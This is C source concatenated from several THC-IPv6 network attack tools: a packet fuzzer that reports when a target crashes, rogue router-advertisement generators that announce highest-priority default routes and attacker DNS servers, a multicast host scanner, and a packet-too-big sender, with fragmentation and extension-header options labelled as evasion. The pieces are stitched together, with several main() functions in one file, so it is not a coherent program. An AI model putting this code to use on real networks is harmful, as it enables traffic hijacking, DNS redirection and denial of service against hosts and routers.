memcpy(pkt_bak, hdr->pkt, hdr->pkt_len);
printf("Fuzzing packet, starting at fuzz case %d, ending at fuzz case %d, every packet sent denoted by a dot:\n", test_start, test_end);
//printf("buf(%d): %s\n", strlen(fuzzbuf), fuzzbuf);
while (do_fuzz) {
if (test_cnt == 0)
while (fuzzbuf[test_ptr] == '.') {
test_ptr++;
test_pos++;
}
if (fuzzbuf[test_ptr] == 0)
do_fuzz = 0;
test_cnt++;
do_it = 1;
//printf("[%s] pos[%d]=%c -> %d | pkt[%d] | %d (%d=>%d)| ", /*fuzzbuf*/"", test_ptr, fuzzbuf[test_ptr], test_cnt, test_pos, test_current, test_start, test_end);
switch (fuzzbuf[test_ptr]) {
case 0:
break;
case 'X':
if (test_cnt <= COUNT_EXTEND) {
if (pkt_bak[test_pos] != extends[test_cnt - 1])
hdr->pkt[test_pos] = extends[test_cnt - 1];
else
do_it = 0;
} else {
test_cnt = 0;
test_ptr++;
test_pos++;
}
break;
case 'B':
if (test_cnt <= COUNT_BYTE) {
if (pkt_bak[test_pos] != bytes[test_cnt - 1])
hdr->pkt[test_pos] = bytes[test_cnt - 1];
else
do_it = 0;
} else {
i = 0;
while (i < COUNT_BYTE && do_it) {
if (bytes[i] == pkt_bak[test_pos])
do_it = 0;
i++;
}
if (do_it)
hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1];
}
if (test_cnt == COUNT_BYTE + COUNT_XOR) {
test_cnt = 0;
test_ptr++;
test_pos++;
}
break;
case 'F':
if (test_cnt <= COUNT_FLAG) {
if (pkt_bak[test_pos] != flags[test_cnt - 1])
hdr->pkt[test_pos] = flags[test_cnt - 1];
else
do_it = 0;
} else {
i = 0;
while (i < COUNT_FLAG && do_it) {
if (bytes[i] == pkt_bak[test_pos]) // yes, bytes[] is the right one even for flags
do_it = 0;
i++;
}
if (do_it)
hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1];
}
if (test_cnt == COUNT_FLAG + COUNT_XOR) {
test_cnt = 0;
test_ptr++;
test_pos++;
}
break;
case 'W':
sip = (unsigned short int *) &pkt_bak[test_pos];
if (test_cnt <= COUNT_WORD) {
if (*sip != words[test_cnt - 1])
memcpy((char *) &hdr->pkt[test_pos], (char *) &words[test_cnt - 1] + _TAKE2, 2);
else
do_it = 0;
} else {
i = 0;
while (i < COUNT_WORD && do_it) {
if (words[i] == *sip)
do_it = 0;
i++;
}
if (do_it) {
i = *sip ^ xors[test_cnt - COUNT_WORD - 1];
sip = (unsigned short int *) &hdr->pkt[test_pos];
*sip = i % 65536;
}
}
if (test_cnt == COUNT_WORD + COUNT_XOR) {
test_cnt = 0;
test_ptr++;
test_pos += 2;
}
break;
default:
fprintf(stderr, "This character should not be in the fuzz string, shoot the programmer: %c(%d) position %d string %s\n", fuzzbuf[test_ptr], fuzzbuf[test_ptr], test_ptr,
fuzzbuf);
exit(-1);
break;
}
if (do_it && do_fuzz) {
if (test_current >= test_start && test_current <= test_end && do_fuzz) {
// fill icmp id+seq and unique buffer with test case number
if (fragment)
memcpy(hdr->pkt + frag_offset + 58, (char *) &test_current + _TAKE4, 4);
switch (do_type) {
case DO_NONE:
// empty
break;
case DO_PING:
for (i = 0; i < 4 + 1; i++)
memcpy(hdr->pkt + offset + 58 + i * 4, (char *) &test_current + _TAKE4, 4);
break;
case DO_TCP:
memcpy(hdr->pkt + offset + 58, (char *) &test_current + _TAKE4, 4);
break;
case DO_NEIGHSOL:
case DO_NEIGHADV:
break; // do nothing for these
case DO_NODEQUERY:
memcpy(hdr->pkt + offset + 66, (char *) &test_current + _TAKE4, 4);
break;
case DO_RA:
memcpy(hdr->pkt + offset + 0x62, (char *) &test_current + _TAKE4, 4); // prefix update
memcpy(hdr->pkt + offset + 0x7e, hdr->pkt + offset + 0x5e, 16); // routing update
memcpy(hdr->pkt + 8, (char *) &test_current + _TAKE4, 4); // srcmac update
memcpy(hdr->pkt + offset + 0x72, (char *) &test_current + _TAKE4, 4); // srcmac update
memcpy(hdr->pkt + 0x10 + off2, (char *) &test_current + _TAKE4, 4); // srcip update
memcpy(hdr->original_src, hdr->pkt + 8 + off2, 16); // srcip update for checksum
break;
case DO_MLD_QUERY:
case DO_MLD_DONE:
case DO_MLD_REP:
case DO_MLD2_QUERY:
memcpy(hdr->pkt + offset + 0x4a, (char *) &test_current + _TAKE4, 4);
break;
case DO_MLD2_REPORT: //??? XXX TODO CHECK
memcpy(hdr->pkt + offset + 0x4d, (char *) &test_current + _TAKE4, 4);
memcpy(hdr->pkt + offset + 0x4d + 68, (char *) &test_current + _TAKE4, 4);
memcpy(hdr->pkt + offset + 0x4d + 136, (char *) &test_current + _TAKE4, 4);
break;
default:
fprintf(stderr, "ERROR!!!\n");
exit(-1);
}
// regenerate checksum
if (do_type != DO_TCP && do_type != DO_NONE) { // maybe for later non-icmp stuff
hdr->pkt[offset + 56] = 0;
hdr->pkt[offset + 57] = 0;
i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_ICMP6, &hdr->pkt[offset + 54], hdr->pkt_len - offset - 54);
hdr->pkt[offset + 56] = i / 256;
hdr->pkt[offset + 57] = i % 256;
} else { // TCP
hdr->pkt[offset + 70] = 0;
hdr->pkt[offset + 71] = 0;
i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_TCP, &hdr->pkt[offset + 54], hdr->pkt_len - offset - 54);
hdr->pkt[offset + 70] = i / 256;
hdr->pkt[offset + 71] = i % 256;
}
// send packet
for (k = 0; k < no_send; k++) {
while(thc_send_pkt(interface, pkt, &pkt_len) < 0)
usleep(1);
}
printf(".");
usleep(250);
// if ping, check ping again
if ((test_current - test_start) % ping == 0 && test_current != 0 && test_start != test_current)
if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) {
i = ((((test_current - test_start) / ping) - 1) * ping) + test_start + 1;
printf("\nResult: target %s crashed during fuzzing, offending test case no. could be %d to %d\n", argv[optind + 1], i < 0 ? 0 : i, test_current);
exit(1);
}
}
//else printf("NOT SENT - NOT IN TEST LIST\n");
// reset to basic packet
memcpy(hdr->pkt, pkt_bak, hdr->pkt_len);
test_current++;
}
//else printf("NOT SENT!\n");
}
printf("\n");
// ping afterwards to check if it worked
if (do_alive) {
if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) {
printf("Result: target %s is NOT alive via direct ping6 - good work! (position: %d)\n", argv[optind + 1], test_pos);
exit(1);
} else
printf("Result: target %s is still alive via direct ping6, better luck next time.\n", argv[optind + 1]);
}
thc_pcap_close(p);
return 0;
}
int main(int argc, char *argv[]) {
char *interface, mac[16] = "", dmac[16] = "";
unsigned char *routerip6, *mac6 = NULL, *ip6 = NULL;
unsigned char buf[512], *ptr, buf2[6], string[] = "ip6 and icmp6 and dst ff02::2";
unsigned char rbuf[MAX_ENTRIES + 1][17], pbuf[MAX_ENTRIES + 1][17], *dbuf[MAX_ENTRIES + 1];
unsigned char *dst = thc_resolve6("ff02::1");
unsigned char *dstmac = thc_get_multicast_mac(dst);
int size, mtu = 0, i, j, k, l, m, n, rcnt = 0, pcnt = 0, dcnt = 0, sent = 0;
unsigned char *pkt = NULL, *searchlist = NULL;
int pkt_len = 0;
pcap_t *p;
if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
memset(rbuf, 0, sizeof(rbuf));
memset(mac, 0, sizeof(mac));
while ((i = getopt(argc, argv, "i:r:E:R:M:m:S:s:D:L:A:a:r:d:t:T:p:n:l:F:")) >= 0) {
switch (i) {
case 'i':
interval = atoi(optarg);
break;
case 'm':
sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *) &dmac[0], (unsigned int *) &dmac[1], (unsigned int *) &dmac[2], (unsigned int *) &dmac[3], (unsigned int *) &dmac[4],
(unsigned int *) &dmac[5]);
dstmac = dmac;
break;
case 'S':
sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
(unsigned int *) &mac[5]);
mac6 = mac;
break;
case 's':
if ((ip6 = thc_resolve6(optarg)) == NULL) {
fprintf(stderr, "Error: can not resolve source ip address %s\n", optarg);
exit(-1);
}
break;
case 'M':
mtu = atoi(optarg);
if (mtu < 0 || mtu > 65535) {
fprintf(stderr, "Error: mtu argument is invalid: %s\n", optarg);
exit(-1);
}
if (mtu < 1228 || mtu > 1500)
fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are doing: %d\n", mtu);
break;
case 'n':
to_send = atoi(optarg);
if (to_send < 1 || mtu > 255) {
fprintf(stderr, "Error: -n argument is invalid, must be between 1 and 255: %s\n", optarg);
exit(-1);
}
break;
case 'A':
if (pcnt >= MAX_ENTRIES) {
fprintf(stderr, "Error: you can not define more than %d autoconfig addresses\n", MAX_ENTRIES);
exit(-1);
}
if (optarg == NULL || (ptr = index(optarg, '/')) == NULL) {
fprintf(stderr, "Error: -A option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. fd00::/64 : %s\n", optarg);
exit(-1);
}
*ptr++ = 0;
if ((size = atoi(ptr)) < 0 && size > 255) { // yes we allow bad sizes :-)
fprintf(stderr, "Error: -A option prefix length must be between 0 and 128: %s\n", optarg);
exit(-1);
}
if (size != 64)
fprintf(stderr, "Warning: -A option defines an unusual prefix length: %d\n", size);
if (index(optarg, ':') == NULL)
strcat(optarg, "::");
if ((routerip6 = thc_resolve6(optarg)) == NULL) {
fprintf(stderr, "Error: -A option network is invalid: %s\n", optarg);
exit(-1);
}
pbuf[pcnt][0] = size % 256;
memcpy((char *) &pbuf[pcnt][1], routerip6, 16);
pcnt++;
break;
case 'a':
plife = atoi(optarg);
break;
case 'r':
rlife = atoi(optarg);
break;
case 'd':
dlife = atoi(optarg);
break;
case 'l':
llife = atoi(optarg);
break;
case 'T':
reach = atoi(optarg);
break;
case 't':
trans = atoi(optarg);
break;
case 'p':
if (strncasecmp(optarg, "low", 3) == 0)
prio = 0;
else
if (strncasecmp(optarg, "med", 3) == 0)
prio = 1;
else
if (strncasecmp(optarg, "hi", 2) == 0)
prio = 2;
else
if (strncasecmp(optarg, "res", 3) == 0)
prio = 3;
else {
fprintf(stderr, "Error: unknown priority, known keywords are low, medium and high: %s\n", optarg);
exit(-1);
}
break;
case 'R':
if (rcnt >= MAX_ENTRIES) {
fprintf(stderr, "Error: you can not define more than %d routes\n", MAX_ENTRIES);
exit(-1);
}
if (optarg == NULL || (ptr = index(optarg, '/')) == NULL) {
fprintf(stderr, "Error: -R option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. fd00::/64 : %s\n", optarg);
exit(-1);
}
*ptr++ = 0;
if ((size = atoi(ptr)) < 0 && size > 255) { // yes we allow bad sizes :-)
fprintf(stderr, "Error: -R option prefix length must be between 0 and 128: %s\n", optarg);
exit(-1);
}
if (index(optarg, ':') == NULL)
strcat(optarg, "::");
if ((routerip6 = thc_resolve6(optarg)) == NULL) {
fprintf(stderr, "Error: -R option network is invalid: %s\n", optarg);
exit(-1);
}
rbuf[rcnt][0] = size % 256;
memcpy((char *) &rbuf[rcnt][1], routerip6, 16);
rcnt++;
break;
case 'D':
if (dcnt >= MAX_ENTRIES) {
fprintf(stderr, "Error: you can not define more than %d DNS servers\n", MAX_ENTRIES);
exit(-1);
}
if ((dbuf[dcnt++] = thc_resolve6(optarg)) == NULL) {
fprintf(stderr, "Error: can not resolve DNS server %s\n", optarg);
exit(-1);
}
break;
case 'L':
searchlist = optarg;
break;
case 'E':
if (optarg == NULL) {
fprintf(stderr, "Error: no option type given for -E\n");
exit(-1);
}
for (j = 0; j < strlen(optarg); j++) {
switch (optarg[j]) { // fall through to be fail safe on accidental misuse
case '0': // fall through
case 'O':
do_overlap = 1;
break;
case 'o':
do_overlap = 2;
break;
case '1': // fall through
case 'l': // fall through
case 'L':
do_frag++;
break;
case 'h': // fall through
case 'H':
do_hop = 1;
break;
case 'd': // fall through
case 'D':
do_dst = 1;
break;
default:
fprintf(stderr, "Error: unknown evasion type %c!\n", optarg[j]);
exit(-1);
}
if ((do_frag && (do_dst || do_overlap)) || (do_dst && do_overlap)) {
fprintf(stderr, "Error: you can not use -E types 1, D, O and o together!\n");
exit(-1);
}
}
break;
case 'F':
ptr = strtok(optarg, ",");
while (ptr != NULL) {
if (strncasecmp(ptr, "man", 3) == 0)
flags = (flags | 128);
else if (strncasecmp(ptr, "oth", 3) == 0)
flags = (flags | 64);
else if (strncasecmp(ptr, "hom", 3) == 0)
flags = (flags | 32);
else if (strncasecmp(ptr, "prox", 4) == 0)
flags = (flags | 4);
else if (strncasecmp(ptr, "res", 3) == 0)
flags = (flags | 2);
else if (strncasecmp(ptr, "unk", 3) == 0)
flags = (flags | 1);
else {
fprintf(stderr, "Error: unknown flag: %s\n", ptr);
exit(-1);
}
ptr = strtok(NULL, ",");
}
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
if ((argc - optind) < 1 || (argc - optind) > 2)
help(argv[0]);
if (do_hdr_size)
myoff = do_hdr_size;
interface = argv[optind];
if (argc - optind == 2)
if ((dst = thc_resolve6(argv[optind + 1])) == NULL) {
fprintf(stderr, "Error: invalid target %s\n", argv[optind + 1]);
exit(-1);
}
if (mtu == 0)
mtu = thc_get_mtu(interface);
if (mac6 == NULL)
if ((mac6 = thc_get_own_mac(interface)) == NULL) {
fprintf(stderr, "Error: invalid interface %s\n", interface);
exit(-1);
}
if (ip6 == NULL)
if ((ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK)) == NULL) {
fprintf(stderr, "Error: IPv6 is not enabled on interface %s\n", interface);
exit(-1);
}
// if (dns == NULL)
// dns = thc_resolve6("ff02::fb");
frint = interface;
frip6 = ip6;
frmac = mac6;
frbuf = buf;
frbuf2 = buf2;
frbuf2len = sizeof(buf2);
memset(buf, 0, sizeof(buf));
memset(buf2, 0, sizeof(buf2));
memset(buf3, 0, sizeof(buf3));
if (llife > 0xffff)
llife = 0xffff;
llife = (llife | 0xff000000);
if (prio == 2)
llife = (llife | 0x00080000);
else if (prio == 0)
llife = (llife | 0x00180000);
else if (prio != 1)
llife = (llife | 0x00100000);
llife = (llife | (flags << 16));
buf[0] = reach / 16777216;
buf[1] = (reach % 16777216) / 65536;
buf[2] = (reach % 65536) / 256;
buf[3] = reach % 256;
buf[4] = trans / 16777216;
buf[5] = (trans % 16777216) / 65536;
buf[6] = (trans % 65536) / 256;
buf[7] = trans % 256;
// option mtu
buf[8] = 5;
buf[9] = 1;
buf[12] = mtu / 16777216;
buf[13] = (mtu % 16777216) / 65536;
buf[14] = (mtu % 65536) / 256;
buf[15] = mtu % 256;
i = 16;
// mac address option
buf[i++] = 1;
buf[i++] = 1;
memcpy(buf + i, mac6, 6);
i += 6;
// option prefix, put all in
if (pcnt > 0)
for (j = 0; j < pcnt; j++) {
buf[i++] = 3;
buf[i++] = 4;
buf[i++] = pbuf[j][0]; // prefix length
buf[i++] = 128 + 64;
buf[i++] = plife / 16777216;
buf[i++] = (plife % 16777216) / 65536;
buf[i++] = (plife % 65536) / 256;
buf[i++] = plife % 256;
buf[i++] = (plife / 2) / 16777216;
buf[i++] = ((plife / 2) % 16777216) / 65536;
buf[i++] = ((plife / 2) % 65536) / 256;
buf[i++] = (plife / 2) % 256;
i += 4; // + 4 bytes reserved
memcpy(&buf[i], (char *) &pbuf[j][1], 16);
i += 16;
}
// route option, put all in
if (rcnt > 0)
for (j = 0; j < rcnt; j++) {
buf[i++] = 0x18; // routing entry option type
buf[i++] = 0x03; // length 3 == 24 bytes
buf[i++] = rbuf[j][0]; // prefix length
if (prio == 2)
buf[i++] = 0x08; // priority, highest of course
else if (prio == 1)
buf[i++] = 0x00;
else if (prio == 0)
buf[i++] = 0x18;
else
buf[i++] == 0x10;
buf[i++] = rlife / 16777216;
buf[i++] = (rlife % 16777216) / 65536;
buf[i++] = (rlife % 65536) / 256;
buf[i++] = rlife % 256;
memcpy((char *) &buf[i], (char *) &rbuf[j][1], 16); // network
i += 16;
}
// dns option
if (dcnt > 0)
for (j = 0; j < dcnt; j++) {
buf[i++] = 0x19; // dns option type
buf[i++] = 0x03; // length
i += 2; // reserved
buf[i++] = dlife / 16777216;
buf[i++] = (dlife % 16777216) / 65536;
buf[i++] = (dlife % 65536) / 256;
buf[i++] = dlife % 256;
memcpy(buf + i, dbuf[j], 16); // dns server
i += 16;
}
// dns searchlist option
if (searchlist != NULL) {
buf[i] = 31;
buf[i + 4] = dlife / 16777216;
buf[i + 5] = (dlife % 16777216) / 65536;
buf[i + 6] = (dlife % 65536) / 256;
buf[i + 7] = dlife % 256;
if (searchlist[strlen(searchlist) - 1] == '.')
searchlist[strlen(searchlist) - 1] = 0;
m = 0;
while ((ptr = strstr(searchlist, ".,")) != NULL) {
m = strlen(ptr);
for (l = 1; l < m; l++)
ptr[l - 1] = ptr[l];
ptr[m - 1] = 0;
}
l = 0;
m = 0;
j = strlen(searchlist);
do {
k = 0;
ptr = index(&searchlist[l], '.');
if (ptr == NULL || (index(&searchlist[l], ',') != NULL && (char*)ptr > (char*)index(&searchlist[l], ','))) {
k = 1;
ptr = index(&searchlist[l], ',');
}
if (ptr != NULL)
*ptr = 0;
n = strlen(&searchlist[l]);
buf[i + 8 + m] = n;
memcpy(&buf[i + 8 + m + 1], &searchlist[l], n);
if (ptr == NULL)
l = j;
else
l += 1 + n;
m += 1 + n;
if (k || ptr == NULL)
m++; // end of domain entry
} while (l < j && ptr != NULL);
if (m % 8 > 0)
m = ( (m / 8) + 1 ) * 8;
buf[i + 1] = m/8 + 1;
i += m + 8;
}
frbuflen = i;
if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0xe0, 0)) == NULL)
return -1;
if (do_hop) {
type = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, 6) < 0)
return -1;
}
if (do_frag) {
type = NXT_FRAG;
for (j = 0; i < do_frag; j++)
if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, getpid() + (cnt++ << 16)) < 0)
return -1;
}
if (do_dst) {
if (type == NXT_ICMP6)
type = NXT_DST;
if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
return -1;
}
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, llife, buf, i, 0) < 0)
return -1;
if (thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0)
return -1;
frhdr = (thc_ipv6_hdr *) pkt;
//printf("DEBUG: RA size is %d bytes, do_dst %d, do_overlap %d\n", i + 8, do_dst, do_overlap);
// init pcap
if ((p = thc_pcap_init(interface, string)) == NULL) {
fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
exit(-1);
}
printf("Starting to advertise router (Press Control-C to end) ...\n");
while (sent < to_send || to_send > 255) {
if (do_dst) {
thc_send_as_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232);
} else if (do_overlap) {
if (do_overlap == 1)
thc_send_as_overlapping_first_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232, 0);
else
thc_send_as_overlapping_last_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232, 0);
} else {
thc_send_pkt(interface, pkt, &pkt_len);
}
while (thc_pcap_check(p, (char *) send_rs_reply, NULL) > 0);
sent++;
if (sent != to_send || to_send > 255)
sleep(interval);
}
return 0; // never reached
}
/**
Função principal que realiza o host scan IPv6 na rede
*/
int hostScan(int rawmode, // informa se o "raw mode" foi ativado ou nao
char *interface, // nome da interface de analise
unsigned char *multicast6, // endereco do grupo multicast de destino
unsigned char *router6, // roteador da rota parametrizada
unsigned char **routers) {
unsigned char *src6 = NULL, // endereco ip6 do host [que realiza o scan]
*mac = NULL, // endereco MAC do host [que realiza o scan]
string[64] = "ip6 and dst "; // Mascara de captura de pacotes [apenas 1pv6 e destino a ser marcado]
time_t passed; // timestamp do inicio do scan
pcap_t *p; // contexto pcap de captura
// obtendo seu proprio endereco ip6
src6 = thc_get_own_ipv6(interface, multicast6, PREFER_GLOBAL);
// se estiver operando em "raw mode" deve-se resolver seu proprio endereco MAC
if (rawmode == 0 && (mac = thc_get_mac(interface, src6, multicast6)) == NULL) {
fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", thc_ipv62string(src6));
exit(-1);
}
// setar o endereco do host para a filtragem de pacotes recebidos
strcat(string, thc_string2notation(thc_ipv62string(src6)));
// make the sending buffer unique
memset(buf, 'A', sizeof(buf)); // Preenche o buffer com o caractere 'A'
time((time_t *) & buf[2]); // coloca da 3a posicao do buffer o tempo em segundos [padrao]
buf[10] = getpid() % 256; // coloca o valor do process id ..
buf[11] = getpid() / 256; // .. nas posicoes 11 e 12 do buffer
memcpy(&buf[12], multicast6, 4); // coloca o endereco de multicast na 13a posicao do buffer
// inicializa a interface de captura de pacotes com o filtro criado
if ((p = thc_pcap_init(interface, string)) == NULL) {
fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
exit(-1);
}
// Envio do 1o pacote : Echo Request Comum
sendEchoRequest(interface, multicast6, src6, router6, routers, buf, mac, NULL);
// Envio do 2o pacote : Echo Request Com falha de Opções
sendEchoRequestOptions(interface, multicast6, src6, router6, routers, buf, mac);
// altera os dados do buffer ???
buf[0] = NXT_INVALID;
buf[1] = 1;
// Envio do 3o pacote : Echo Request Com dados Hop by Hop
sendEchoRequestHopByHop(interface, multicast6, src6, router6, routers, buf, mac);
// ???
while (thc_pcap_check(p, (char *) check_packets, NULL) > 0 && (alive_no == 0 || *multicast6 == 0xff));
// Anota o tempo de inicio
passed = time(NULL);
// enquanto nao se passam 5 segundos
while (passed + 5 >= time(NULL) && (alive_no == 0 || *multicast6 == 0xff))
thc_pcap_check(p, (char *) check_packets, NULL); // verifica os pacotes capturados
// fecha a interface de captura
thc_pcap_close(p);
// informa o numero de hosts ativos encontrados
//printf("Found %d systems alive\n", alive_no);
printf("\n");
printAliveSystems();
}
int main(int argc, char *argv[]) {
char string[] = "ip6 and ! src net f000::/4 and ! dst net f000::/4";
int rawmode = 0, i;
pcap_t *p;
if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
while ((i = getopt(argc, argv, "cr")) >= 0) {
switch (i) {
case 'r':
thc_ipv6_rawmode(1);
rawmode = 1;
offset = 0;
break;
case 'c':
loop = 1;
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
if (argc - optind < 3)
help(argv[0]);
if (do_hdr_size)
offset = do_hdr_size;
interface = argv[optind];
mac6 = thc_get_own_mac(interface);
src6 = thc_get_own_ipv6(interface, NULL, PREFER_GLOBAL);
mtu = atoi(argv[optind + 2]);
if (src6 == NULL || mac6 == NULL) {
fprintf(stderr, "Error: invalid interface or IPv6 not available: %s\n", interface);
exit(-1);
}
if (argv[optind + 1][0] == '*' || argv[optind + 1][1] == '*') {
ip6 = NULL;
} else {
ip6 = thc_resolve6(argv[optind + 1]);
if (ip6 == NULL) {
fprintf(stderr, "Error: target address is invalid: %s\n", argv[optind + 1]);
exit(-1);
}
}
if ((p = thc_pcap_init(interface, string)) == NULL) {
fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
exit(-1);
}
printf("Watching for %s from %s (Press Control-C to end) ...\n", loop == 0 ? "a packet" : "packets", argv[optind + 1]);
do {
thc_pcap_check(p, (char *) send_toobig, NULL);
usleep(25);
} while (go);
thc_pcap_close(p);
return 0;
}
int main(int argc, char *argv[]) {
char *routerip, *interface, mac[16] = "";
unsigned char *routerip6, *route6, *mac6 = mac, *ip6;
unsigned char buf[512], *ptr, buf2[6], string[] = "ip6 and icmp6 and dst ff02::2";
unsigned char *dst = thc_resolve6("ff02::1");
unsigned char *dstmac = thc_get_multicast_mac(dst);
unsigned char *dns;
int size, mtu = 1500, i, j, k, cnt;
unsigned char *pkt = NULL;
int pkt_len = 0;
int rawmode = 0;
pcap_t *p;
if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
while ((i = getopt(argc, argv, "FHDr")) >= 0) {
switch (i) {
case 'r':
thc_ipv6_rawmode(1);
rawmode = 1;
break;
case 'F':
do_frag++;
break;
case 'H':
do_hop = 1;
break;
case 'D':
do_dst = 1;
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
if (argc - optind < 2)
help(argv[0]);
if (do_hdr_size)
myoff = do_hdr_size;
frbuf = buf;
frbuf2 = buf2;
frbuf2len = sizeof(buf2);
memset(mac, 0, sizeof(mac));
interface = argv[optind];
mtu = thc_get_mtu(interface);
if (argc - optind >= 5)
mtu = atoi(argv[optind + 4]);
if (argc - optind >= 7 && (ptr = argv[optind + 5]) != NULL)
sscanf(ptr, "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
(unsigned int *) &mac[5]);
else
mac6 = thc_get_own_mac(interface);
if (argc - optind >= 4 && argv[optind + 3] != NULL)
ip6 = thc_resolve6(argv[optind + 3]);
else
ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK);
frip6 = ip6;
frint = interface;
frmac = mac6;
if (argc - optind >= 4 && argv[optind + 2] != NULL)
dns = thc_resolve6(argv[optind + 2]);
else
dns = thc_resolve6("ff02::fb");
routerip = argv[optind + 1];
if (routerip == NULL || (ptr = index(routerip, '/')) == NULL) {
printf("Error: Option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. ff80::01/16\n");
exit(-1);
}
*ptr++ = 0;
size = atoi(ptr);
routerip6 = thc_resolve6(routerip);
route6 = thc_resolve6(routerip);
if (routerip6 == NULL || size < 1 || size > 128) {
fprintf(stderr, "Error: IP-ADDRESS/PREFIXLENGTH argument is invalid: %s\n", argv[optind + 1]);
exit(-1);
}
if (size < 48 || size > 64)
fprintf(stderr, "Warning: unusual network prefix size defined, be sure what your are doing: %d\n", size);
if (dns == NULL) {
fprintf(stderr, "Error: dns argument is invalid: %s\n", argv[optind + 2]);
exit(-1);
}
if (ip6 == NULL) {
fprintf(stderr, "Error: link-local-ip6 argument is invalid: %s\n", argv[optind + 3]);
exit(-1);
}
if (mtu < 1 || mtu > 65536) {
fprintf(stderr, "Error: mtu argument is invalid: %s\n", argv[optind + 4]);
exit(-1);
}
if (mtu < 1228 || mtu > 1500)
fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are doing :%d\n", mtu);
if (mac6 == NULL) {
fprintf(stderr, "Error: mac address in invalid\n");
exit(-1);
}
memset(buf, 0, sizeof(buf));
memset(buf2, 0, sizeof(buf2));
memset(buf3, 0, sizeof(buf3));
if ((p = thc_pcap_init(interface, string)) == NULL) {
fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
exit(-1);
}
i = 128 - size;
j = i / 8;
k = i % 8;
if (k > 0)
j++;
memset(route6 + 16 - j, 0, j);
if (k > 0)
route6[17 - j] = (route6[17 - j] >> (8 - k)) << (8 - k);
// buf[3] = 250; // 0-3: reachable timer
buf[6] = 4; // 4-7: retrans timer
// option mtu
buf[8] = 5;
buf[9] = 1;
buf[12] = mtu / 16777216;
buf[13] = (mtu % 16777216) / 65536;
buf[14] = (mtu % 65536) / 256;
buf[15] = mtu % 256;
// option prefix
buf[16] = 3;
buf[17] = 4;
buf[18] = size; // prefix length
buf[19] = 128 + 64;
memset(&buf[20], 17, 4);
memset(&buf[24], 4, 4);
memcpy(&buf[32], route6, 16);
i = 48;
// mac address option
buf[i++] = 1;
buf[i++] = 1;
memcpy(buf + i, mac6, 6);
i += 6;
// default route routing option
buf[i++] = 0x18; // routing entry option type
buf[i++] = 0x03; // length 3 == 24 bytes
buf[i++] = 0x00; // prefix length
buf[i++] = 0x08; // priority, highest of course
i += 2; // 52-53 unknown
buf[i++] = 0x11; // lifetime, word
buf[i++] = 0x11; // lifetime, word
i += 16; // 56-71 address, all zeros for default
// specific route routing option 2000::/3
buf[i++] = 0x18; // routing entry option type
buf[i++] = 0x03; // length 3 == 24 bytes
buf[i++] = 0x03; // prefix length
buf[i++] = 0x08; // priority, highest of course
i += 2; // 52-53 unknown
buf[i++] = 0x11; // lifetime, word
buf[i++] = 0x11; // lifetime, word
buf[i++] = 0x20; // 56-71 address: 2000::
i += 15;
// specific route routing option 2000::/3
buf[i++] = 0x18; // routing entry option type
buf[i++] = 0x03; // length 3 == 24 bytes
buf[i++] = 0x07; // prefix length
buf[i++] = 0x08; // priority, highest of course
i += 2; // 52-53 unknown
buf[i++] = 0x11; // lifetime, word
buf[i++] = 0x11; // lifetime, word
buf[i++] = 0xfc; // 56-71 address: fc::
i += 15;
// dns option
buf[i++] = 0x19; // dns option type
buf[i++] = 0x03; // length
i += 2; // 74-75 reserved
memset(buf + i, 1, 4); // validity time
i += 4;
memcpy(buf + i, dns, 16); // dns server
i += 16;
frbuflen = i;
if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0xe0, 0)) == NULL)
return -1;
if (do_hop) {
type = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, 6) < 0)
return -1;
}
if (do_frag) {
type = NXT_FRAG;
for (i = 0; i <= do_frag; i++)
if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0)
return -1;
}
if (do_dst) {
if (type == NXT_ICMP6)
type = NXT_DST;
